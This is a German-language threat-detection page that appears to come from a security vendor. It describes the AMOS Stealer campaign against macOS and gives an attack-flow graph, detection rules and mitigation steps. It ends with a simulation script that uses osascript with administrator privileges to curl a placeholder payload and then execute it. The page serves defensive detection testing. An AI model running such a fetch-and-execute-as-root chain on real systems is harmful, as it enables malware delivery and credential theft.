AMOS Stealer zielt mit „geknackten“ Apps auf macOS ab
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Der Bericht beschreibt eine Kampagne, bei der Atomic macOS Stealer (AMOS) verteilt wird, indem er als gehackte Anwendungen getarnt oder den Nutzern das Ausführen von Terminal-Befehlen durch Kopieren und Einfügen befohlen wird. Nach dem Ausführen sammelt die Malware eine breite Palette an sensiblen Daten, darunter Anmeldeinformationen, Browser-Informationen, Kryptowährungs-Wallets, Dateien von Messaging-Anwendungen, VPN-Profile und persönliche Dokumente, die dann über HTTP oder HTTPS exfiltriert werden. Um statische Erkennungen zu vermeiden, wechseln die Betreiber die Domains und URLs während der Kampagne. Die Aktivität richtet sich an macOS-Nutzer, insbesondere solche, die inoffizielle oder raubkopierte Software suchen.
Untersuchung
Trend Vision One Telemetrie wurde verwendet, um die vollständige Infektionskette zu rekonstruieren, beginnend mit dem Herunterladen gehackter Anwendungen von haxmac.cc, gefolgt von Umleitungen über Zwischendomänen, Ausführung bösartiger Shell-Skripte, Erstellung von Launch-Daemons zur Persistenz, Bereitstellung von Daten in /tmp, Komprimierung in ZIP-Archive und Exfiltration zu rotierenden, von Angreifern kontrollierten Domains. Forscher erfassten die relevanten Befehlszeilen, Dateipfade und Verhaltensindikatoren, die mit jeder Stufe des Kompromisses verbunden sind.
Minderung
Organisationen sollten Benutzer über die Risiken von gehackter Software und Kopieren-Einfügen von Terminal-Befehlen informieren, Gatekeeper- und Notarisierungskontrollen durchsetzen und unnötige Skriptausführung auf macOS-Systemen einschränken. Verteidiger sollten auch nach verdächtiger curl and osascript -Aktivität Ausschau halten und den Zugriff auf bekannte bösartige Domains und IP-Adressen blockieren. Endpunkterkennungen sollten sich auf die unbefugte Erstellung von Launch-Daemons, das Verbergen von Dateien und ungewöhnliches Kollektieren oder Exfiltrieren von Dateien konzentrieren.
Antwort
Wenn AMOS-Aktivität erkannt wird, isolieren Sie den betroffenen Endpunkt, beenden Sie die bösartigen Prozesse, entfernen Sie versteckte Dateien wie .helper, .agent, und com.finder.helper.plist, und löschen Sie alle für die Exfiltration vorbereiteten Daten. Kompromittierte Anmeldeinformationen sollten widerrufen werden, und eine forensische Analyse sollte an allen wiederhergestellten Archiven durchgeführt werden. Die identifizierte bösartige Infrastruktur sollte blockiert und die Erkennungsinhalte aktualisiert werden, um die beobachteten Befehlsmuster zu überwachen.
graph TB %% Klassendefinitionen classDef action fill:#99ccff classDef tool fill:#cccccc classDef file fill:#ffcc99 classDef process fill:#ff9966 classDef data fill:#ccffcc %% Knoten – Aktionen (Techniken) step1_initial_access_file[„<b>Aktion</b> – <b>T1204.002 Benutzerausführung: Bösartige Datei</b><br/>Das Opfer lädt eine trojanisierte .dmg-Datei herunter und führt sie aus, die als gecrackte Anwendung getarnt ist.“] class step1_initial_access_file action step2_copy_paste[„<b>Aktion</b> – <b>T1204.004 Benutzerausführung: Bösartiges Kopieren und Einfügen</b><br/>Das Opfer kopiert einen curl-Befehl von einer Webseite in das Terminal, wodurch install.sh heruntergeladen und ausgeführt wird.“] class step2_copy_paste action step3_masquerading[„<b>Aktion</b> – <b>T1036 Tarnung</b><br/>Die Malware wird als legitime gecrackte Software und gefälschte Installationsseiten dargestellt.“] class step3_masquerading action step4_curl_proxy[„<b>Aktion</b> – <b>T1218 Proxy-Ausführung von Systembinärdateien</b><br/>Die legitime curl-Binärdatei ruft bösartige Skripte ab.“] class step4_curl_proxy action step5_osascript_proxy[„<b>Aktion</b> – <b>T1216 Proxy-Ausführung von Systemskripten</b><br/>osascript führt eine AppleScript-Payload aus, um Code auszuführen.“] class step5_osascript_proxy action step6_shell_interpreter[„<b>Aktion</b> – <b>T1059.004 Befehls- und Skriptinterpreter: Unix Shell</b><br/>Shell-Befehle erstellen Verzeichnisse, sammeln Dateien und rufen curl zur Exfiltration auf.“] class step6_shell_interpreter action step7_sudo_abuse[„<b>Aktion</b> – <b>T1548.003 Missbrauch von Mechanismen zur Rechteerweiterung: Sudo und Sudo-Caching</b><br/>Das abgefangene Passwort wird an sudo übergeben, um mit Root-Rechten eine LaunchDaemon-plist-Datei zu schreiben.“] class step7_sudo_abuse action step8_persistence[„<b>Aktion</b> – <b>T1569 Systemdienste: LaunchDaemon</b><br/>LaunchDaemon (com.finder.helper.plist) führt das bösartige .agent-Skript beim Systemstart aus.“] class step8_persistence action step9_defense_evasion[„<b>Aktion</b> – <b>T1127 Proxy-Ausführung vertrauenswürdiger Entwicklerwerkzeuge</b><br/>Apple-Entwicklerwerkzeuge (osascript) werden verwendet, um die Payload auszuführen und Sicherheitsmaßnahmen zu umgehen.“] class step9_defense_evasion action step10_dga[„<b>Aktion</b> – <b>T1568.002 Dynamische Auflösung: Domain-Generation-Algorithmen</b><br/>Der Angreifer rotiert zahlreiche .cfd- und andere Domains zur Bereitstellung von Payloads.“] class step10_dga action step11_browser_creds[„<b>Aktion</b> – <b>T1555.003 Zugangsdaten aus Passwortspeichern: Webbrowser</b><br/>Extraktion von Chrome-, Firefox- und Edge-Anmeldedaten sowie Cookies.“] class step11_browser_creds action step12_keychain[„<b>Aktion</b> – <b>T1555 Zugangsdaten aus Passwortspeichern</b><br/>Extraktion von macOS-Keychain-Einträgen.“] class step12_keychain action step13_wallet_keys[„<b>Aktion</b> – <b>T1552.004 Private Schlüssel</b><br/>Diebstahl von Kryptowährungs-Wallet-Dateien.“] class step13_wallet_keys action step14_session_cookies[„<b>Aktion</b> – <b>T1550.004 Web-Sitzungscookies</b><br/>Sammlung von Sitzungscookies zur späteren Wiederverwendung.“] class step14_session_cookies action step15_archive[„<b>Aktion</b> – <b>T1560 Gesammelte Daten archivieren</b><br/>Gesammelte Dateien werden in out.zip komprimiert.“] class step15_archive action step16_compression[„<b>Aktion</b> – <b>T1027.015 Komprimierung</b><br/>Daten werden vor der Exfiltration komprimiert (Verschleierung).“] class step16_compression action step17_exfil_https[„<b>Aktion</b> – <b>T1071.001 Anwendungsschichtprotokoll: Webprotokolle</b><br/>Das komprimierte Archiv wird per HTTPS-POST an einen vom Angreifer kontrollierten Server hochgeladen.“] class step17_exfil_https action step18_indirect_curl[„<b>Aktion</b> – <b>T1202 Indirekte Befehlsausführung</b><br/>Der curl-Befehl ruft stillschweigend ein entferntes Skript ab und führt es aus.“] class step18_indirect_curl action %% Knoten – Werkzeuge tool_curl[„<b>Werkzeug</b> – <b>Name</b>: curl<br/><b>Beschreibung</b>: Kommandozeilenprogramm zur Datenübertragung mit URLs.“] class tool_curl tool tool_osascript[„<b>Werkzeug</b> – <b>Name</b>: osascript<br/><b>Beschreibung</b>: Führt AppleScript- oder JavaScript-for-Automation-Skripte aus.“] class tool_osascript tool tool_sudo[„<b>Werkzeug</b> – <b>Name</b>: sudo<br/><b>Beschreibung</b>: Führt Befehle mit erhöhten Rechten aus.“] class tool_sudo tool tool_launchd[„<b>Werkzeug</b> – <b>Name</b>: launchd<br/><b>Beschreibung</b>: macOS-Dienstmanager zum Laden von LaunchDaemons und Agenten.“] class tool_launchd tool %% Knoten – Dateien und Daten file_dmg[„<b>Datei</b> – <b>Name</b>: trojanized.dmg<br/><b>Typ</b>: Als gecrackte Anwendung getarntes Disk-Image“] class file_dmg file file_install_sh[„<b>Datei</b> – <b>Name</b>: install.sh<br/><b>Typ</b>: Über curl heruntergeladenes Shell-Skript“] class file_install_sh file data_out_zip[„<b>Daten</b> – <b>Name</b>: out.zip<br/><b>Inhalt</b>: Gesammelte Dateien bereit zur Exfiltration“] class data_out_zip data %% Ablaufverbindungen step1_initial_access_file –>|lädt herunter und führt aus| file_dmg file_dmg –>|löst aus| step1_initial_access_file step1_initial_access_file –>|führt zu| step2_copy_paste step2_copy_paste –>|verwendet| tool_curl tool_curl –>|lädt herunter| file_install_sh file_install_sh –>|führt aus| step2_copy_paste step2_copy_paste –>|führt zu| step3_masquerading step3_masquerading –>|aktiviert| step4_curl_proxy step4_curl_proxy –>|verwendet| tool_curl tool_curl –>|ruft ab| step5_osascript_proxy step5_osascript_proxy –>|verwendet| tool_osascript tool_osascript –>|führt aus| step6_shell_interpreter step6_shell_interpreter –>|ruft auf| step7_sudo_abuse step7_sudo_abuse –>|verwendet| tool_sudo tool_sudo –>|schreibt| step8_persistence step8_persistence –>|verwaltet von| tool_launchd tool_launchd –>|führt aus| step9_defense_evasion step9_defense_evasion –>|ermöglicht| step10_dga step10_dga –>|liefert| step11_browser_creds step10_dga –>|liefert| step12_keychain step10_dga –>|liefert| step13_wallet_keys step10_dga –>|liefert| step14_session_cookies step11_browser_creds –>|gesammelt in| step15_archive step12_keychain –>|gesammelt in| step15_archive step13_wallet_keys –>|gesammelt in| step15_archive step14_session_cookies –>|gesammelt in| step15_archive step15_archive –>|erzeugt| data_out_zip data_out_zip –>|komprimiert durch| step16_compression step16_compression –>|gesendet über| step17_exfil_https step17_exfil_https –>|verwendet| tool_curl tool_curl –>|führt aus| step18_indirect_curl step18_indirect_curl –>|schließt ab| step1_initial_access_file %% Stil class step1_initial_access_file,step2_copy_paste,step3_masquerading,step4_curl_proxy,step5_osascript_proxy,step6_shell_interpreter,step7_sudo_abuse,step8_persistence,step9_defense_evasion,step10_dga,step11_browser_creds,step12_keychain,step13_wallet_keys,step14_session_cookies,step15_archive,step16_compression,step17_exfil_https,step18_indirect_curl action class tool_curl,tool_osascript,tool_sudo,tool_launchd tool class file_dmg,file_install_sh file class data_out_zip data
Angriffsfluss
Erkennungen
Verdächtige Nutzung von Ditto zum Archivieren und Exfiltrieren von Dateien auf macOS (via Prozess-Erstellung)
Ansehen
Mögliche Mehrfach-Datei-Bereitstellung im TMP-Verzeichnis zur Exfiltration (via Datei-Ereignis)
Ansehen
Atomic macOS Stealer – FileGrabber Aktivität
Ansehen
Mögliche Chrome-Anmeldedaten in TMP-Verzeichnis kopiert (via Prozess-Erstellung)
Ansehen
IOCs (HashSha1) zur Erkennung: Analyse der AMOS Stealer-Kampagne, die macOS über ‚gehackte‘ Apps angreift
Ansehen
IOCs (SourceIP) zur Erkennung: Analyse der AMOS Stealer-Kampagne, die macOS über ‚gehackte‘ Apps angreifen
Ansehen
IOCs (DestinationIP) zur Erkennung: Analyse der AMOS Stealer-Kampagne, die macOS über ‚gehackte‘ Apps angreifen
Ansehen
Erkennung der AMOS Stealer- Ausführung über Terminal-Befehle auf macOS [Linux-Prozess-Erstellung]
Ansehen
Erkennung der AMOS Stealer- Ausführung über AppleScript und Curl [Linux-Prozess-Erstellung]
Ansehen
Simulationsausführung
Voraussetzung: Der Telemetrie- & Baseline-Preflight-Check muss bestanden sein.
Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der Angreifertechnik (TTP), die darauf ausgelegt ist, die Erkennungsregel auszulösen. Die Befehle und Erzählungen MÜSSEN direkt die identifizierten TTPs widerspiegeln und darauf abzielen, die exakte Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird. Abstrakte oder nicht verwandte Beispiele führen zu einer Fehldiagnose.
-
Angriffsgeschichte & Befehle:
Ein Angreifer hat einen Phishing-Köder erhalten, der eine kurze AppleScript-Nutzlast liefert. Das Skript verwendetosascriptum einen Shell-Befehl auszuführen (sh -c), dercurlaufruft, um das AMOS Stealer-Binär aus einem bösartigen C2-Server herunterzuladen, es im Benutzerverzeichnis~/Library/Application Support/speichert und es dann mit erhöhten Rechten ausführt. Die Nutzung vonosascript(einer signierten Apple-Binärdatei) tarnt die Aktivität als legitime Automatisierung, währendcurleinen unauffälligen Netzwerkdownload ermöglicht. -
Regressionstest-Skript:
# amos_stealer_simulation.sh # Simuliert die Ausführung des AMOS Stealers auf macOS mit osascript + curl # 1. Definiere bösartige URL (verwenden Sie einen harmlosen Platzhalter zur Sicherheit) MALICIOUS_URL="https://example.com/malicious_payload.sh" # 2. AppleScript, das einen Shell-Befehl ausführt, um die Nutzlast herunterzuladen & auszuführen APPLESCRIPT=$(cat <<'EOF' do shell script "sh -c 'curl -s -o /tmp/payload.sh "https://example.com/malicious_payload.sh" && chmod +x /tmp/payload.sh && /tmp/payload.sh'" with administrator privileges EOF ) # 3. Führt das AppleScript über osascript aus echo "$APPLESCRIPT" | osascript # 4. Pause kurz, um der Nutzlast Zeit zum Ausführen zu geben sleep 5 -
Bereinigungskommandos:
# cleanup_amos_simulation.sh # Entfernt Artefakte, die durch die Simulation erstellt wurden # Entferne die heruntergeladene Nutzlast rm -f /tmp/payload.sh # Widerrufe alle temporären erhöhten Prozesse (falls noch laufend) pkill -f "/tmp/payload.sh" || true # Optional, löschen Sie die AppleScript-Ausführungshistorie # (macOS behält keinen persistenten Verlauf für osascript) echo "Bereinigung abgeschlossen."